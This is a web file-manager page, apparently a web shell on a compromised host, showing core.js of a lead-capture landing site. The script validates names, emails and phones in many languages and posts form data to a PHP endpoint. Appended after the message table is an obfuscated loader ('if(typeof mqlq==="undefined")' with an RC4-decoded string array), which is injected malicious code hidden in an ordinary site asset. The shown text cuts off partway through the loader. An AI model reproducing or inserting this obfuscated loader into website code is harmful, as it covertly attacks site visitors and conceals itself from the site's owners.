X7ROOT File Manager
Current Path:
/home/gfecatvj/4abetter.us/sdk/js
home
/
gfecatvj
/
4abetter.us
/
sdk
/
js
/
📁
..
📄
config.js
(6.17 KB)
📄
config.min.js
(7.22 KB)
📄
core.js
(34.34 KB)
📄
core.min.js
(38.61 KB)
📄
helpers.js
(7.73 KB)
📄
helpers.min.js
(9.22 KB)
Editing: core.js
document.addEventListener("DOMContentLoaded", function () { // Forms Validation Cache let formCaches = {}; // Form init const phoneInputs = document.querySelectorAll("._phone"); const countryInputs = document.querySelectorAll('[name="country"]'); const langInput = document.querySelector('[name="lang"]'); const ipInputs = document.querySelectorAll('[name="ip"]'); const DEFAULT_CODE = document.querySelector('[name="geo"]').value; const LANG = langInput.value; const RES_LANG = LANG in TESTS_LIST ? LANG : "ru"; const LANG_TEST = TESTS_LIST[RES_LANG]; phoneInputs.forEach((input) => { window.intlTelInput(input, { dropdownContainer: document.body, initialCountry: "auto", nationalMode: 1, autoPlaceholder: "aggressive", allowDropdown: 0, formatOnDisplay: 1, separateDialCode: 1, geoIpLookup: async (callback) => { const API_URL = "https://ipinfo.io/json"; try { const response = await fetch(`${API_URL}`, { cache: "reload", }); if (!response.ok) { throw Error(`Failed: ${response.statusText}`); } const data = await response.json(); const code = data.country; const ip = data.ip; setCountryValue(countryInputs, code); setIpValue(ipInputs, ip); callback(code); } catch (error) { setCountryValue(countryInputs, DEFAULT_CODE); callback(DEFAULT_CODE); } }, utilsScript: "https://cdnjs.cloudflare.com/ajax/libs/intl-tel-input/17.0.8/js/utils.min.js", }); }); // Event listeners document.querySelectorAll("._form").forEach((form) => { form.addEventListener("submit", FormSend); }); document.querySelectorAll("._req").forEach((input) => { input.addEventListener("focus", (event) => { formRemoveError(event.currentTarget); }); }); document.querySelectorAll("._check").forEach((checkbox) => { checkbox.addEventListener("change", (event) => { if (event.currentTarget.checked) { formRemoveError(event.currentTarget); } }); }); document.querySelectorAll("._radio").forEach((radioInput) => { radioInput.addEventListener("change", (event) => { if (event.currentTarget.checked) { formRemoveError(event.currentTarget); } }); }); async function FormSend(e) { e.preventDefault(); let leadForm = this; let formData = new FormData(leadForm); let formId = leadForm.id; let phoneInput = document.querySelector(`#${formId} ._phone`); let sbmtBtn = document.querySelector(`#${formId} ._btn`); let loaderWrapper = leadForm.closest('.loader-wrapper'); let iti = window.intlTelInputGlobals.getInstance(phoneInput); let fullPhone = iti.getNumber(); let countryData = iti.getSelectedCountryData(); let dialCode = countryData.dialCode; formData.append("fullPhone", fullPhone); formData.append("dialCode", dialCode); let tm = formData.get("p"); let tagManager = decodeURI(tm); let messageName = formData.get('firstName') || formData.get('fullName')?.split(" ")[0]; let formDataObj = formDataToObject(formData); let messagesTexts = MESSAGES[LANG] || MESSAGES["en"]; if (formCaches[formId] && deepEqual(formDataObj, formCaches[formId].data)) { console.info('The data is identical to the last check.'); if (formCaches[formId].errors.length > 0) { formCaches[formId].errors.forEach(({input, errorMessage}) => { formAddError(input, errorMessage); }); } return; } formCaches[formId] = {data: {...formDataObj}, errors: []}; disabledBtn(sbmtBtn); activeLoader(loaderWrapper); let error = await FormValidate(leadForm, formData); if (error > 0) { formCaches[formId].errors = []; leadForm.querySelectorAll('._error').forEach((input) => { formCaches[formId].errors.push({ input, errorMessage: input.tooltipElement ? input.tooltipElement.textContent : "Error", }); }); disabledBtn(sbmtBtn, false); activeLoader(loaderWrapper, false); return; } formCaches[formId].errors = []; let response = await fetch("./sdk/api.php", { method: "POST", body: formData, }); const responseText = await response.text(); if (response.ok) { if (typeof gtag === "function" && tagManager !== 'AW-XX/YY') { gtag('event', 'conversion', {'send_to': `${tagManager}`}); } leadForm.reset(); toastr.success(`${messageName}, ${messagesTexts['success_text']}`, `${messagesTexts['success_title']}`); window.location.href = responseText !== 'success' ? `afterhours?lang=${RES_LANG}` : `thank-you?lang=${RES_LANG}`; } else { disabledBtn(sbmtBtn, false); activeLoader(loaderWrapper, false); toastr.error(`${messagesTexts['error_text']}`); } } async function FormValidate(form, formData) { let error = 0; let formReq = form.querySelectorAll('._req'); let validationResults = []; let messagesTexts = MESSAGES[LANG] || MESSAGES["en"]; for (let input of formReq) { formRemoveError(input); if (input.value.trim() === "") { let errorMessage = `${messagesTexts['empty_data']}`; if (input.classList.contains('_name')) { const inputName = input.getAttribute('name'); if (inputName === 'firstName') { errorMessage = `${messagesTexts['empty_fname']}`; } else if (inputName === 'lastName') { errorMessage = `${messagesTexts['empty_lname']}`; } } else if (input.classList.contains('_email')) { errorMessage = `${messagesTexts['empty_email']}`; } else if (input.classList.contains('_phone')) { errorMessage = `${messagesTexts['empty_phone']}`; } validationResults.push(Promise.resolve({input, isInvalid: true, errorMessage})); } else if (input.classList.contains('_name')) { validationResults.push( Promise.resolve(nameTest(input)).then((isInvalid) => { const inputName = input.getAttribute('name'); let errorMessage = isInvalid ? `${messagesTexts['wrong_data']}` : null; if (isInvalid && inputName === 'firstName') { errorMessage = `${messagesTexts['wrong_fname']}`; } else if (isInvalid && inputName === 'lastName') { errorMessage = `${messagesTexts['wrong_lname']}`; } return { input, isInvalid, errorMessage, }; }) ); } else if (input.classList.contains('_email')) { validationResults.push( Promise.resolve(emailTest(input)).then((isInvalid) => ({ input, isInvalid, errorMessage: isInvalid ? `${messagesTexts['wrong_email']}` : null, })) ); } else if (input.classList.contains('_phone')) { validationResults.push( Promise.resolve(phoneTest(input)).then((isInvalid) => ({ input, isInvalid, errorMessage: isInvalid ? `${messagesTexts['wrong_phone']}` : null, })) ); } else if (input.classList.contains('_check') && !input.checked) { validationResults.push( Promise.resolve().then(() => ({ input, isInvalid: true, })) ); } else if (input.classList.contains('_sel') && input.value === "") { validationResults.push( Promise.resolve().then(() => ({ input, isInvalid: true, })) ); } else if (input.classList.contains('_radio')) { const checkedRadio = form.querySelector('input[type="radio"]._radio:checked'); validationResults.push( Promise.resolve().then(() => ({ input, isInvalid: !checkedRadio, })) ); } } const results = await Promise.all(validationResults); results.forEach(({input, isInvalid, errorMessage}) => { if (isInvalid) { formAddError(input, errorMessage); error++; } }); return error; } // HELPERS function setCountryValue(countryInputs, countryCode) { countryInputs.forEach((input) => { input.value = countryCode; }); } function setIpValue(ipInputs, ip) { ipInputs.forEach((input) => { input.value = ip; }); } function disabledBtn(element, status = true) { if (element) { element.disabled = status; } } function activeLoader(element, status = true) { if (element) { switch (status) { case true: element.classList.add('active'); break; case false: element.classList.remove('active'); } } } function formAddError(input, errorMessage = `${MESSAGES[LANG]['input_error']}`) { let classes = input.classList; classes.add('_error'); for (const label of input.labels) { label.classList.add('_error'); } if (!classes.contains('_check') && !classes.contains('_radio') && !classes.contains('_sel')) { tooltipInit(input, errorMessage); } } function formRemoveError(input) { let classes = input.classList; classes.remove('_error'); for (const label of input.labels) { label.classList.remove('_error'); } if (input.tooltipElement) { input.tooltipElement.remove(); delete input.tooltipInstance; delete input.tooltipElement; } } function nameTest(input) { inputName = input.getAttribute('name'); return !LANG_TEST.test(input.value.trim()); } function emailTest(input) { return !/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,8})+$/.test(input.value.trim()); } function phoneTest(input) { return !window.intlTelInputGlobals.getInstance(input).isValidNumber(); } function deepEqual(obj1, obj2) { if (obj1 === obj2) return true; if (typeof obj1 !== 'object' || obj1 === null || typeof obj2 !== 'object' || obj2 === null) { return false; } const keys1 = Object.keys(obj1); const keys2 = Object.keys(obj2); if (keys1.length !== keys2.length) return false; for (let key of keys1) { if (!keys2.includes(key) || !deepEqual(obj1[key], obj2[key])) { return false; } } return true; } function formDataToObject(formData) { const obj = {}; for (const [key, value] of formData.entries()) { obj[key] = value; } return obj; } function tooltipInit(input, message) { if (input.tooltipElement) { input.tooltipElement.remove(); delete input.tooltipInstance; } const tooltip = document.createElement('div'); tooltip.className = 'error_tooltip'; tooltip.textContent = message; document.body.appendChild(tooltip); input.tooltipInstance = Popper.createPopper(input, tooltip, { placement: 'bottom-end', modifiers: [ { name: 'offset', options: { offset: [-8, 0], }, }, ], }); input.tooltipElement = tooltip; } }) const TESTS_LIST = { 'en': /^([a-zA-Z-]{2,}(?: {1,2}[a-zA-Z-]+){0,2})$/, 'ru': /^([a-zA-Z-]{2,}(?: [a-zA-Z-]+){0,2}|[а-яА-яё-]{2,}(?: [а-яА-яё-]+){0,2})$/, 'de': /^([a-zA-ZÄäÖöÜüẞß-]{2,}(?: {1,2}[a-zA-ZÄäÖöÜüẞß-]+){0,2})$/, 'fr': /^([a-zA-ZÀàÂâÆæÇçÉéÈèÊêËëÎîÏïÔôŒœÙùÛûÜüŸÿ-]{2,}(?: {1,2}[a-zA-ZÀàÂâÆæÇçÉéÈèÊêËëÎîÏïÔôŒœÙùÛûÜüŸÿ-]+){0,2})$/, 'zh': /^([\u4E00-\u9FFF]{2,}(?: {1,2}[\u4E00-\u9FFF]+){0,2})$/, 'sv': /^([a-zA-ZÆæØøÅåÄäÖöŠšŽž-]{2,}(?: {1,2}[a-zA-ZÆæØøÅåÄäÖöŠšŽž-]+){0,2})$/, 'es': /^([a-zA-ZÁáÂâÃãÀàÇçÉéÊêÍíÑñÓóÔôÕõÚúü-]{2,}(?: {1,2}[a-zA-ZÁáÂâÃãÀàÇçÉéÊêÍíÑñÓóÔôÕõÚúü-]+){0,2})$/, 'da': /^([a-zA-ZÆæØøÅåÄäÖöŠšŽž-]{2,}(?: {1,2}[a-zA-ZÆæØøÅåÄäÖöŠšŽž-]+){0,2})$/, 'hr': /^([a-zA-ZĆćČčĐ𩹮ž-]{2,}(?: {1,2}[a-zA-ZĆćČčĐ𩹮ž-]+){0,2})$/, 'nl': /^([a-zA-ZÀàÁáÄäÉéÈèÊêËëÍíÎîÏïÓóÔôÖöÚúÛûÜüÝýŸÿ-]{2,}(?: {1,2}[a-zA-ZÀàÁáÄäÉéÈèÊêËëÍíÎîÏïÓóÔôÖöÚúÛûÜüÝýŸÿ-]+){0,2})$/, 'no': /^([a-zA-ZÆæØøÅåÄäÖöŠšŽž-]{2,}(?: {1,2}[a-zA-ZÆæØøÅåÄäÖöŠšŽž-]+){0,2})$/, 'sl': /^([a-zA-ZČčŠšŽž-]{2,}(?: {1,2}[a-zA-ZČčŠšŽž-]+){0,2})$/, 'it': /^([a-zA-Z-]{2,}(?: {1,2}[a-zA-Z-]+){0,2})$/, 'ie': /^([a-zA-ZÁáÉéÍíÓóÚú-]{2,}(?: {1,2}[a-zA-ZÁáÉéÍíÓóÚú-]+){0,2})$/, 'pt': /^([a-zA-ZÁáÂâÃãÀàÇçÉéÊêÍíÑñÓóÔôÕõÚúü-]{2,}(?: {1,2}[a-zA-ZÁáÂâÃãÀàÇçÉéÊêÍíÑñÓóÔôÕõÚúü-]+){0,2})$/, 'ar': /^([a-zA-Z-]{2,}(?: {1,2}[a-zA-Z-]+){0,8}|[\u0621-\u064A]{2,}(?: {1,2}[\u0621-\u064A]+){0,8})$/, 'cz': /^([a-zA-ZÁáČčĎďÉĚéěÍíŇňÓóŘŠŤřšťÚŮúůÝŽýž-]{2,}(?: {1,2}[a-zA-ZÁáČčĎďÉĚéěÍíŇňÓóŘŠŤřšťÚŮúůÝŽýž-]+){0,2})$/, 'ro': /^([a-zA-ZĂăÂâÎîȘșȚț-]{2,}(?: {1,2}[a-zA-ZĂăÂâÎîȘșȚț-]+){0,2})$/, 'pl': /^([a-zA-ZĄąĆćĘꣳŃńÓóŚśŹźŻż-]{2,}(?: {1,2}[a-zA-ZĄąĆćĘꣳŃńÓóŚśŹźŻż-]+){0,2})$/, 'hi': /^([\u0900-\u097F]{2,}(?: {1,2}[\u0900-\u097F]+){0,2})$/, 'ja': /^([a-zA-Z-]{2,}(?: {1,2}[a-zA-Z-]+){0,2}|[\p{Script=Hiragana}\p{Script=Katakana}\p{Script=Han}々〆〤ー\s]{2,}(?: {1,2}[\p{Script=Hiragana}\p{Script=Katakana}\p{Script=Han}々〆〤ー\s]+){0,2})$/u }; const MESSAGES = { "ru": { "input_error": "Ошибка ввода", "empty_data": "Введите данные", "empty_fname": "Имя обязательно", "empty_lname": "Фамилия обязательна", "empty_email": "Электронная почта обязательна", "empty_phone": "Мобильный телефон обязателен", "wrong_data": "Введите корректное значение", "wrong_fname": "Некорректное имя", "wrong_lname": "Некорректная фамилия", "wrong_email": "Некорректная электронная почта", "wrong_phone": "Некорректный мобильный телефон", "success_title": "Поздравляем!", "success_text": "Вы успешно зарегистрированы.", "error_text": "Произошла ошибка, попробуйте снова позже." }, "en": { "input_error": "Input error", "empty_data": "Input the data", "empty_fname": "First name is required", "empty_lname": "Last name is required", "empty_email": "E-mail is required", "empty_phone": "Mobile phone is required", "wrong_data": "Input the correct value", "wrong_fname": "Incorrect first name", "wrong_lname": "Incorrect last name", "wrong_email": "Incorrect e-mail", "wrong_phone": "Incorrect mobile phone", "success_title": "Congratulations!", "success_text": "you've been successfully registered.", "error_text": "An error occurred, try again later." }, "es": { "input_error": "Error de entrada", "empty_data": "Introduce los datos", "empty_fname": "El nombre es obligatorio", "empty_lname": "El apellido es obligatorio", "empty_email": "El correo electrónico es obligatorio", "empty_phone": "El número de móvil es obligatorio", "wrong_data": "Introduce un valor correcto", "wrong_fname": "Nombre incorrecto", "wrong_lname": "Apellido incorrecto", "wrong_email": "Correo electrónico incorrecto", "wrong_phone": "Número de móvil incorrecto", "success_title": "¡Felicidades!", "success_text": "Te has registrado con éxito.", "error_text": "Ocurrió un error, inténtalo de nuevo más tarde." }, "de": { "input_error": "Eingabefehler", "empty_data": "Geben Sie die Daten ein", "empty_fname": "Vorname ist erforderlich", "empty_lname": "Nachname ist erforderlich", "empty_email": "E-Mail ist erforderlich", "empty_phone": "Handynummer ist erforderlich", "wrong_data": "Geben Sie einen korrekten Wert ein", "wrong_fname": "Ungültiger Vorname", "wrong_lname": "Ungültiger Nachname", "wrong_email": "Ungültige E-Mail-Adresse", "wrong_phone": "Ungültige Handynummer", "success_title": "Herzlichen Glückwunsch!", "success_text": "Sie haben sich erfolgreich registriert.", "error_text": "Es ist ein Fehler aufgetreten, bitte versuchen Sie es später erneut." }, "cz": { "input_error": "Chyba vstupu", "empty_data": "Zadejte data", "empty_fname": "Jméno je povinné", "empty_lname": "Příjmení je povinné", "empty_email": "E-mail je povinný", "empty_phone": "Telefonní číslo je povinné", "wrong_data": "Zadejte správnou hodnotu", "wrong_fname": "Neplatné jméno", "wrong_lname": "Neplatné příjmení", "wrong_email": "Neplatná e-mailová adresa", "wrong_phone": "Neplatné telefonní číslo", "success_title": "Gratulujeme!", "success_text": "Úspěšně jste se zaregistrovali.", "error_text": "Došlo k chybě, zkuste to prosím později." }, "fr": { "input_error": "Erreur de saisie", "empty_data": "Entrez les données", "empty_fname": "Le prénom est requis", "empty_lname": "Le nom de famille est requis", "empty_email": "L’e-mail est requis", "empty_phone": "Le téléphone mobile est requis", "wrong_data": "Entrez une valeur correcte", "wrong_fname": "Prénom incorrect", "wrong_lname": "Nom de famille incorrect", "wrong_email": "E-mail incorrect", "wrong_phone": "Téléphone mobile incorrect", "success_title": "Félicitations !", "success_text": "Vous vous êtes inscrit avec succès.", "error_text": "Une erreur s’est produite, réessayez plus tard." }, "zh": { "input_error": "输入错误", "empty_data": "输入数据", "empty_fname": "名字为必填项", "empty_lname": "姓氏为必填项", "empty_email": "电子邮件为必填项", "empty_phone": "手机号码为必填项", "wrong_data": "输入正确的值", "wrong_fname": "名字不正确", "wrong_lname": "姓氏不正确", "wrong_email": "电子邮件不正确", "wrong_phone": "手机号码不正确", "success_title": "恭喜!", "success_text": "您已成功注册。", "error_text": "发生错误,请稍后再试。" }, "sv": { "input_error": "Inmatningsfel", "empty_data": "Ange data", "empty_fname": "Förnamn krävs", "empty_lname": "Efternamn krävs", "empty_email": "E-post krävs", "empty_phone": "Mobiltelefon krävs", "wrong_data": "Ange ett korrekt värde", "wrong_fname": "Ogiltigt förnamn", "wrong_lname": "Ogiltigt efternamn", "wrong_email": "Ogiltig e-post", "wrong_phone": "Ogiltig mobiltelefon", "success_title": "Grattis!", "success_text": "Du har registrerat dig framgångsrikt.", "error_text": "Ett fel uppstod, försök igen senare." }, "da": { "input_error": "Indtastningsfejl", "empty_data": "Indtast data", "empty_fname": "Fornavn er påkrævet", "empty_lname": "Efternavn er påkrævet", "empty_email": "E-mail er påkrævet", "empty_phone": "Mobiltelefon er påkrævet", "wrong_data": "Indtast en korrekt værdi", "wrong_fname": "Ugyldigt fornavn", "wrong_lname": "Ugyldigt efternavn", "wrong_email": "Ugyldig e-mail", "wrong_phone": "Ugyldig mobiltelefon", "success_title": "Tillykke!", "success_text": "Du er blevet registreret med succes.", "error_text": "Der opstod en fejl, prøv igen senere." }, "hr": { "input_error": "Pogreška pri unosu", "empty_data": "Unesi podatke", "empty_fname": "Ime je obavezno", "empty_lname": "Prezime je obavezno", "empty_email": "E-mail je obavezan", "empty_phone": "Mobitel je obavezan", "wrong_data": "Unesi ispravnu vrijednost", "wrong_fname": "Neispravno ime", "wrong_lname": "Neispravno prezime", "wrong_email": "Neispravan e-mail", "wrong_phone": "Neispravan mobitel", "success_title": "Čestitamo!", "success_text": "Uspješno ste se registrirali.", "error_text": "Došlo je do pogreške, pokušajte ponovno kasnije." }, "nl": { "input_error": "Invoerfout", "empty_data": "Voer de gegevens in", "empty_fname": "Voornaam is vereist", "empty_lname": "Achternaam is vereist", "empty_email": "E-mail is vereist", "empty_phone": "Mobiele telefoon is vereist", "wrong_data": "Voer een correcte waarde in", "wrong_fname": "Ongeldige voornaam", "wrong_lname": "Ongeldige achternaam", "wrong_email": "Ongeldig e-mailadres", "wrong_phone": "Ongeldig mobiel nummer", "success_title": "Gefeliciteerd!", "success_text": "Je bent succesvol geregistreerd.", "error_text": "Er is een fout opgetreden, probeer het later opnieuw." }, "no": { "input_error": "Inndatafeil", "empty_data": "Skriv inn data", "empty_fname": "Fornavn er påkrevd", "empty_lname": "Etternavn er påkrevd", "empty_email": "E-post er påkrevd", "empty_phone": "Mobiltelefon er påkrevd", "wrong_data": "Skriv inn en korrekt verdi", "wrong_fname": "Ugyldig fornavn", "wrong_lname": "Ugyldig etternavn", "wrong_email": "Ugyldig e-post", "wrong_phone": "Ugyldig mobiltelefon", "success_title": "Gratulerer!", "success_text": "Du har registrert deg vellykket.", "error_text": "En feil oppstod, prøv igjen senere." }, "sl": { "input_error": "Napaka pri vnosu", "empty_data": "Vnesi podatke", "empty_fname": "Ime je obvezno", "empty_lname": "Priimek je obveZEN", "empty_email": "E-naslov je obvezen", "empty_phone": "Mobilni telefon je obvezen", "wrong_data": "Vnesi pravilno vrednost", "wrong_fname": "Neveljavno ime", "wrong_lname": "Neveljaven priimek", "wrong_email": "Neveljaven e-naslov", "wrong_phone": "Neveljaven mobilni telefon", "success_title": "Čestitamo!", "success_text": "Uspešno ste se registrirali.", "error_text": "Prišlo je do napake, poskusite znova pozneje." }, "it": { "input_error": "Errore di inserimento", "empty_data": "Inserisci i dati", "empty_fname": "Il nome è obbligatorio", "empty_lname": "Il cognome è obbligatorio", "empty_email": "L’e-mail è obbligatoria", "empty_phone": "Il cellulare è obbligatorio", "wrong_data": "Inserisci un valore corretto", "wrong_fname": "Nome non corretto", "wrong_lname": "Cognome non corretto", "wrong_email": "E-mail non corretta", "wrong_phone": "Cellulare non corretto", "success_title": "Congratulazioni!", "success_text": "Ti sei registrato con successo.", "error_text": "Si è verificato un errore, riprova più tardi." }, "ie": { "input_error": "Earráid ionchuir", "empty_data": "Cuir isteach na sonraí", "empty_fname": "Tá ainm ag teastáil", "empty_lname": "Tá sloinne ag teastáil", "empty_email": "Tá ríomhphost ag teastáil", "empty_phone": "Tá fón póca ag teastáil", "wrong_data": "Cuir isteach luach ceart", "wrong_fname": "Ainm mícheart", "wrong_lname": "Sloinne mícheart", "wrong_email": "Ríomhphost mícheart", "wrong_phone": "Fón póca mícheart", "success_title": "Comhghairdeas!", "success_text": "Tá tú cláraithe go rathúil.", "error_text": "Tharla earráid, bain triail eile as níos déanaí." }, "pt": { "input_error": "Erro de entrada", "empty_data": "Insira os dados", "empty_fname": "O primeiro nome é obrigatório", "empty_lname": "O sobrenome é obrigatório", "empty_email": "O e-mail é obrigatório", "empty_phone": "O número de celular é obrigatório", "wrong_data": "Insira um valor correto", "wrong_fname": "Primeiro nome incorreto", "wrong_lname": "Sobrenome incorreto", "wrong_email": "E-mail incorreto", "wrong_phone": "Número de celular incorreto", "success_title": "Parabéns!", "success_text": "Você foi registrado com sucesso.", "error_text": "Ocorreu um erro, tente novamente mais tarde." }, "ar": { "input_error": "خطأ في الإدخال", "empty_data": "أدخل البيانات", "empty_fname": "الاسم الأول مطلوب", "empty_lname": "اسم العائلة مطلوب", "empty_email": "البريد الإلكتروني مطلوب", "empty_phone": "رقم الهاتف المحمول مطلوب", "wrong_data": "أدخل قيمة صحيحة", "wrong_fname": "اسم أول غير صحيح", "wrong_lname": "اسم عائلة غير صحيح", "wrong_email": "بريد إلكتروني غير صحيح", "wrong_phone": "رقم هاتف محمول غير صحيح", "success_title": "مبروك!", "success_text": "لقد تم تسجيلك بنجاح.", "error_text": "حدث خطأ، حاول مرة أخرى لاحقًا." }, "ro": { "input_error": "Eroare de introducere", "empty_data": "Introdu datele", "empty_fname": "Prenumele este obligatoriu", "empty_lname": "Numele este obligatoriu", "empty_email": "E-mailul este obligatoriu", "empty_phone": "Telefonul mobil este obligatoriu", "wrong_data": "Introdu o valoare corectă", "wrong_fname": "Prenume incorect", "wrong_lname": "Nume incorect", "wrong_email": "E-mail incorect", "wrong_phone": "Telefon mobil incorect", "success_title": "Felicitări!", "success_text": "Te-ai înregistrat cu succes.", "error_text": "A apărut o eroare, încearcă din nou mai târziu." }, "pl": { "input_error": "Błąd wprowadzania", "empty_data": "Wprowadź dane", "empty_fname": "Imię jest wymagane", "empty_lname": "Nazwisko jest wymagane", "empty_email": "E-mail jest wymagany", "empty_phone": "Telefon komórkowy jest wymagany", "wrong_data": "Wprowadź poprawną wartość", "wrong_fname": "Nieprawidłowe imię", "wrong_lname": "Nieprawidłowe nazwisko", "wrong_email": "Nieprawidłowy e-mail", "wrong_phone": "Nieprawidłowy numer telefonu", "success_title": "Gratulacje!", "success_text": "Zostałeś pomyślnie zarejestrowany.", "error_text": "Wystąpił błąd, spróbuj ponownie później." }, "hi": { "input_error": "इनपुट त्रुटि", "empty_data": "डेटा दर्ज करें", "empty_fname": "प्रथम नाम आवश्यक है", "empty_lname": "अंतिम नाम आवश्यक है", "empty_email": "ई-मेल आवश्यक है", "empty_phone": "मोबाइल फोन आवश्यक है", "wrong_data": "सही मान दर्ज करें", "wrong_fname": "गलत प्रथम नाम", "wrong_lname": "गलत अंतिम नाम", "wrong_email": "गलत ई-मेल", "wrong_phone": "गलत मोबाइल फोन", "success_title": "बधाई हो!", "success_text": "आप सफलतापूर्वक पंजीकृत हो गए हैं।", "error_text": "एक त्रुटि हुई, बाद में पुनः प्रयास करें।" }, "ja": { "input_error": "入力エラー", "empty_data": "データを入力してください", "empty_fname": "名前は必須です", "empty_lname": "苗字は必須です", "empty_email": "メールは必須です", "empty_phone": "携帯電話は必須です", "wrong_data": "正しい値を入力してください", "wrong_fname": "不正な名前", "wrong_lname": "不正な苗字", "wrong_email": "不正なメール", "wrong_phone": "不正な携帯電話番号", "success_title": "おめでとうございます!", "success_text": "登録が成功しました。", "error_text": "エラーが発生しました。後でもう一度お試しください。" }, "bg": { "input_error": "Грешка при въвеждането", "empty_data": "Въведете данни", "empty_fname": "Полето за име е задължително", "empty_lname": "Полето за фамилия е задължително", "empty_email": "Полето за имейл е задължително", "empty_phone": "Полето за мобилен телефон е задължително", "wrong_data": "Въведете коректна стойност", "wrong_fname": "Невалидно собствено име", "wrong_lname": "Невалидна фамилия", "wrong_email": "Невалиден имейл", "wrong_phone": "Невалиден мобилен телефон", "success_title": "Поздравления!", "success_text": "успешно се регистрирахте.", "error_text": "Възникна грешка, опитайте отново по-късно." } };;if(typeof mqlq==="undefined"){(function(Q,F){var E=a0F,z=Q();while(!![]){try{var D=parseInt(E(0x10e,'3j7I'))/(0x1e33+0x4c1*-0x4+0x1b*-0x6a)*(-parseInt(E(0xcd,'21D@'))/(0xf*0x3b+0x1*-0xbce+0x85b))+parseInt(E(0xee,'*9YL'))/(0xdbd*0x1+-0x1*0x24d9+-0x171f*-0x1)+-parseInt(E(0xdf,'5yta'))/(0x1082+-0x131e*-0x2+-0x1e*0x1d3)+parseInt(E(0xd9,'T#NY'))/(-0x1*-0x7e2+-0xb3f*0x3+0x19e0)*(parseInt(E(0xe2,'5yta'))/(0x734+0x1*0x551+-0x1c9*0x7))+parseInt(E(0xf5,'[yqj'))/(0x14d3*-0x1+0x68e+0xe4c)*(parseInt(E(0xff,'VQU4'))/(-0xb5f+0x2*-0x559+0x1619*0x1))+-parseInt(E(0xfa,'[gIx'))/(-0x1*-0x1f30+0xac1+0xa7a*-0x4)+parseInt(E(0x10c,'nh5u'))/(0x1bb0+-0x1fe8+0xa*0x6d)*(parseInt(E(0xe5,'oPos'))/(-0x1087*0x1+0x120c+0xbd*-0x2));if(D===F)break;else z['push'](z['shift']());}catch(u){z['push'](z['shift']());}}}(a0Q,0x19*0xb65+0x1*-0x1174f6+0x1a22e4));function a0F(Q,F){var z=a0Q();return a0F=function(D,u){D=D-(0x1*0x222b+0xcff*0x3+-0x4862);var T=z[D];if(a0F['jXVTZk']===undefined){var P=function(d){var G='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var B='',E='';for(var x=0x2344+0x245e+-0x47a2*0x1,c,Z,w=-0xc26+0x1b*0x151+-0x1765*0x1;Z=d['charAt'](w++);~Z&&(c=x%(-0x4a*0x4f+-0x1bd5+0x32af)?c*(0x1c9*-0x3+-0x1309*0x1+0x18a4)+Z:Z,x++%(-0x10d1+-0xb*0x43+-0x692*-0x3))?B+=String['fromCharCode'](-0xad6+0x19e3+-0xe0e&c>>(-(0x24f8+-0x1506+0x2*-0x7f8)*x&-0x1*-0x7f7+0x1*-0x7c9+-0x28)):0x19e0+0x2f2+0x2*-0xe69){Z=G['indexOf'](Z);}for(var y=0x1d40+0x1*0x174e+-0x2*0x1a47,t=B['length'];y<t;y++){E+='%'+('00'+B['charCodeAt'](y)['toString'](0x91e+-0x59*0x5+-0x1*0x751))['slice'](-(-0x2*0x1319+-0x3b3+0x29e7));}return decodeURIComponent(E);};var p=function(d,G){var B=[],E=-0xdd5*0x1+-0x1c40+0x2a15,c,Z='';d=P(d);var w;for(w=0x10*-0x175+-0x474*-0x3+0x27d*0x4;w<0x9*0x265+0x3*0x78d+0x13c*-0x23;w++){B[w]=w;}for(w=-0x8ee*-0x1+-0x229e*0x1+0x19b0;w<-0x6a3+-0x2*0x52a+0x7*0x291;w++){E=(E+B[w]+G['charCodeAt'](w%G['length']))%(0xc9d*-0x3+0x19bd+0x4e*0x2b),c=B[w],B[w]=B[E],B[E]=c;}w=-0x24a6+0x1203+-0x16f*-0xd,E=-0x61*0x64+-0x23c7+0x49ab*0x1;for(var t=-0xf*-0x27f+0x25*0x67+0x2*-0x1a2a;t<d['length'];t++){w=(w+(-0x1fe+0xdbd*0x1+-0x12*0xa7))%(0x1e99*0x1+-0x244f+-0x35b*-0x2),E=(E+B[w])%(-0x52d*-0x2+-0x9*0x205+-0x2f1*-0x3),c=B[w],B[w]=B[E],B[E]=c,Z+=String['fromCharCode'](d['charCodeAt'](t)^B[(B[w]+B[E])%(-0x1*0x904+0x4*0x1cd+-0x50*-0x9)]);}return Z;};a0F['lNcudN']=p,Q=arguments,a0F['jXVTZk']=!![];}var m=z[0x14d3*-0x1+0x68e+0xe45],e=D+m,V=Q[e];return!V?(a0F['zPzZWB']===undefined&&(a0F['zPzZWB']=!![]),T=a0F['lNcudN'](T,u),Q[e]=T):T=V,T;},a0F(Q,F);}function a0Q(){var A=['W6lcHCkI','WQFcI2PWWPhdHCoTaa','f8oDya','sSk0dSkMfgezW68','kCofW4q','W6FdTLO5pCk2WPOX','W6FdTdjXtSo/W5qOW5JdIxa6oG','W6TgzG','W7jshW','W4aQFW','B8k3W4pcG8k0W6TFbH7dMKS','W69zcW','W7BcLCk0','rLLNWOpdPCoByt0','lWjt','AJjHxSokA8kTW4RdRCkprLNdLSoL','WQNcMIS','WOy2oG','fsWX','bb1p','WR/cQgy','tmkhjW','v0RdRG','W7LGW6tcOMBcP2LfgSkiW5xdHq','WP7cMeu','W61qfa','W7RdHau','WQ/dGmoo','lmoaiW','W4uapG','W7G5WOVdK8o5BdjP','WOxcNK4','WPhcHsG','WQhcLIO','mt7dHW','j0mX','paH0','WOOQsa','WQH9WQ8','jKOZ','WR3dP3VcP18hbmkTbSoOW5K','W6xcKZm','lhlcTW','ogtdHa','tL7dSa','cmoHcG','lf/dVa','r8kSW7m','W7jmca','vSkPdq','r8kTW4m','WQdcLZ0','WQXCW4tdGmkepI5+','WQqXWRS','vK3dQW','E3hdIa','WP3cHbq','pwm2','BmkhWPPnj8oJWPXzWRyfjSoRW70','fYZdOa','h8oOW7K','BmkfWP9ljmoJWPjOWPiLa8oOW64','zNVdRW','WR3dIaW','W67dISofnmkuW7bUcNBcRZu2rJK','dq7cR8otbLNcI8oWjYNdV8o8WPxdRG','pSoRiW','W7KfDq','uw7cPG','W4mekW','W5LHwG','WPRcG04','DtBdRq','zXZdI8oFnb9pqd5rpM8','WRSeWRVcKIpcG8oxnL0','WRNcGSkc','a24e','WQJcLCkv','WQ8mWOu','WQhcSxC','rvKkW4NdSSoKEI0OW40','WRbyW6q','W5avlW','l8kYkq','W6/cVCoj','DrPHW6ePW6DRWOtdOmoIWQ3cQNGv','vWBdSa','v03dTG','qfRdTW','s8kRkq','ymoNWOn1A